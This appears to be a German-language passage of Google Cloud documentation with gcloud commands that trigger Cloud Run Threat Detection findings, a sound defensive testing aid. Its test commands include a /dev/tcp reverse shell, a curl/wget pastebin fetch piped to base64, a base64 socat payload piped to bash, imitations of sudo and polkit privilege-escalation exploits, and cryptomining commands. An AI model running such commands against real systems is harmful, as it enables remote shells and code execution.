gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","sleep 60; apt-get update && apt-get install socat -y && echo $B64_SOCAT | base64 -d | bash" \
      --execute-now \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Execution: Socat Reverse Shell Detected-Ergebnis erstellt.

Ausführung: Verdächtiges freigegebenes OpenSSL-Objekt geladen

Führen Sie openssl mit einer verdächtigen Bibliothek aus, um ein Execution: Suspicious OpenSSL Shared Object Loaded-Ergebnis auszulösen.

Erstellen Sie den Cloud Run-Job und führen Sie ihn aus:

JOB_NAME="crtd-test-openssl-so-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Execution: Suspicious OpenSSL Shared Object Loaded-Ergebnis erstellt.

Exfiltration: Remote-Tools zum Kopieren von Dateien im Container gestartet

Führen Sie ein Remote-Kopiertool aus, um ein Exfiltration: Launch Remote File Copy Tools In Container-Ergebnis auszulösen.

Erstellen Sie den Cloud Run-Job und führen Sie ihn aus:

JOB_NAME="crtd-test-remote-copy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; cp /bin/ls /tmp/rsync; /tmp/rsync; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Exfiltration: Launch Remote File Copy Tools In Container-Ergebnis erstellt.

Auswirkungen: Erkennung schädlicher Cmdline-Dateien

Führen Sie einen verdächtigen Befehlsnamen (IPFS) aus, um ein Impact: Detect Malicious Cmdlines-Ergebnis (Vorschau) auszulösen.

Erstellen Sie den Cloud Run-Job und führen Sie ihn aus:

JOB_NAME="crtd-test-malicious-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; cp /bin/ls /tmp/ipfs; /tmp/ipfs; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Impact: Detect Malicious Cmdlines-Ergebnis erstellt.

Auswirkung: Bulk-Entfernung von Daten von Laufwerk

Führen Sie ein Tool wie shred aus, um ein Impact: Remove Bulk Data From Disk-Ergebnis auszulösen.

Erstellen Sie den Cloud Run-Job und führen Sie ihn aus:

JOB_NAME="crtd-test-remove-bulk-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; cp /bin/ls /tmp/shred; /tmp/shred; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Impact: Remove Bulk Data From Disk-Ergebnis erstellt.

Auswirkung: Verdächtige Cryptomining-Aktivität mit Stratum-Protokoll

Wenn Sie ein Impact: Suspicious cryptocurrency mining activity using the Stratum Protocol-Ergebnis auslösen möchten, führen Sie eine Binärdatei mit Argumenten aus, die denen ähneln, die von Kryptowährungs-Mining-Software verwendet werden, die über das Stratum-Protokoll kommuniziert.

Erstellen Sie den Cloud Run-Job und führen Sie ihn aus:

JOB_NAME="crtd-test-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","sleep 60; cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Impact: Suspicious cryptocurrency mining activity using the Stratum Protocol-Ergebnis erstellt.

Schädliches Script ausgeführt

Führen Sie ein Skript aus, das schädliches Verhalten imitiert, um ein Malicious Script Executed-Ergebnis auszulösen.

Erstellen Sie den Cloud Run-Job und führen Sie ihn aus:

JOB_NAME="crtd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; sh -c \"(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d\"; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Malicious Script Executed-Ergebnis erstellt.

Schädliche URL beobachtet

Führen Sie eine Binärdatei aus und geben Sie eine schädliche URL als Argument an, um ein Malicious URL Observed-Ergebnis auszulösen.

Erstellen Sie den Cloud Run-Job und führen Sie ihn aus:

JOB_NAME="crtd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; apt-get update && apt-get install curl -y && curl https://testsafebrowsing.appspot.com/s/malware.html | cat; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Dieses Testverfahren löst ein Malicious URL Observed-Ergebnis aus.

Rechteausweitung: Missbrauch von Sudo zur Rechteausweitung (CVE-2019-14287)

Führen Sie die Binärdatei sudo mit dem Parameter -u#-1 aus, um ein Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287)-Ergebnis auszulösen.

Erstellen Sie den Cloud Run-Job und führen Sie ihn aus:

JOB_NAME="crtd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287)-Ergebnis erstellt.

Rechteausweitung: Mögliche Rechteausweitung durch Sudo (CVE-2021-3156)

Führen Sie die Binärdatei sudo mit dem Parameter -s und einem Parameter, der mit `` endet, aus, um ein Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156)-Ergebnis auszulösen.

Erstellen Sie den Cloud Run-Job und führen Sie ihn aus:

JOB_NAME="crtd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c",'sleep 60; cp /bin/ls /tmp/sudo; su $(id -un 1000) -c "/tmp/sudo -s \"123\\\\\"" ; sleep 10' \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156)-Ergebnis erstellt.

Rechteausweitung: Sicherheitslücke bei der lokalen Rechteausweitung in Polkit (CVE-2021-4034)

Wenn Sie ein Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034)-Ergebnis auslösen möchten, führen Sie eine pkexec-Binärdatei mit der Umgebungsvariable GCONV_PATH als Nicht-Root-Nutzer aus.

Erstellen Sie den Cloud Run-Job und führen Sie ihn aus:

JOB_NAME="crtd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c",'sleep 60; cp /bin/ls /tmp/pkexec; su $(id -un 1000) -c "GCONV_PATH=junk /tmp/pkexec;"; sleep 10' \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034)-Ergebnis erstellt.

Reverse-Shell-Angriff

Wenn Sie ein Reverse Shell-Ergebnis auslösen möchten, starten Sie eine Binärdatei mit der stdin-Weiterleitung an einen TCP-verbundenen Socket.

Erstellen Sie den Cloud Run-Job und führen Sie ihn aus:

JOB_NAME="crtd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","sleep 60; cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Reverse Shell-Ergebnis erstellt.

Unerwartete untergeordnete Shell

Wenn Sie den Detektor Unexpected Child Shell testen möchten, erstellen Sie eine Prozessstruktur, die einen untergeordneten Shell-Prozess enthält.

Erstellen Sie den Cloud Run-Job und führen Sie ihn aus:

JOB_NAME="crtd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --task-timeout 700 \
      --args "-c",'sleep 601; cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; /tmp/consul -c "/tmp/sh child ran successfully & wait"; sleep 10' \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Unexpected Child Shell-Ergebnis erstellt. Beachten Sie, dass es bis zu 15 Minuten dauern kann, bis dieser Test ein Ergebnis liefert.

Ausführung: Docker-Image für Cryptomining

Wenn Sie ein Execution: Cryptomining Docker Image-Ergebnis auslösen möchten, stellen Sie einen Container mit einem Docker-Image-Namen bereit, der mit Kryptomining-Software verknüpft ist.

Erstellen Sie den Cloud Run-Job und führen Sie ihn aus:

JOB_NAME="crtd-test-mining-img-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image docker.io/security-test-DO-NOT-USE/xmrig:latest \
      --command sh \
      --wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Execution: Cryptomining Docker Image-Ergebnis erstellt. Beachten Sie, dass die Jobbereitstellung fehlschlägt, weil das Image nicht vorhanden ist. Das Ergebnis wird jedoch trotzdem generiert.

Auswirkungen: Cryptomining-Befehle

Um ein Impact: Cryptomining Commands-Ergebnis auszulösen, führen Sie einen Befehl mit Argumenten aus, die bekannter Kryptomining-Software ähneln.

Erstellen Sie den Cloud Run-Job und führen Sie ihn aus:

JOB_NAME="crtd-test-mining-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command xmrig \
      --wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Impact: Cryptomining Commands-Ergebnis erstellt. Beachten Sie, dass die Jobausführung fehlschlägt, da der Befehl im Image nicht vorhanden ist. Das Ergebnis wird jedoch trotzdem generiert.

Rechteausweitung: SetIAMPolicy für Compute Engine-Standarddienstkonto

Wenn Sie ein Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy-Ergebnis auslösen möchten, führen Sie einen Befehl aus, der das Compute Engine-Standarddienstkonto verwendet, um die IAM-Richtlinie eines Cloud Run-Dienstes festzulegen.

Erstellen Sie den Cloud Run-Job und führen Sie ihn aus:

JOB_NAME="crtd-test-set-iam-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image gcr.io/google.com/cloudsdktool/google-cloud-cli:stable \
      --command gcloud \
      --args "run","services","add-iam-policy-binding","non-existent-service","--region",$REGION,"--member=allUsers","--role=roles/run.invoker","--quiet" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy-Ergebnis erstellt.

Nächste Schritte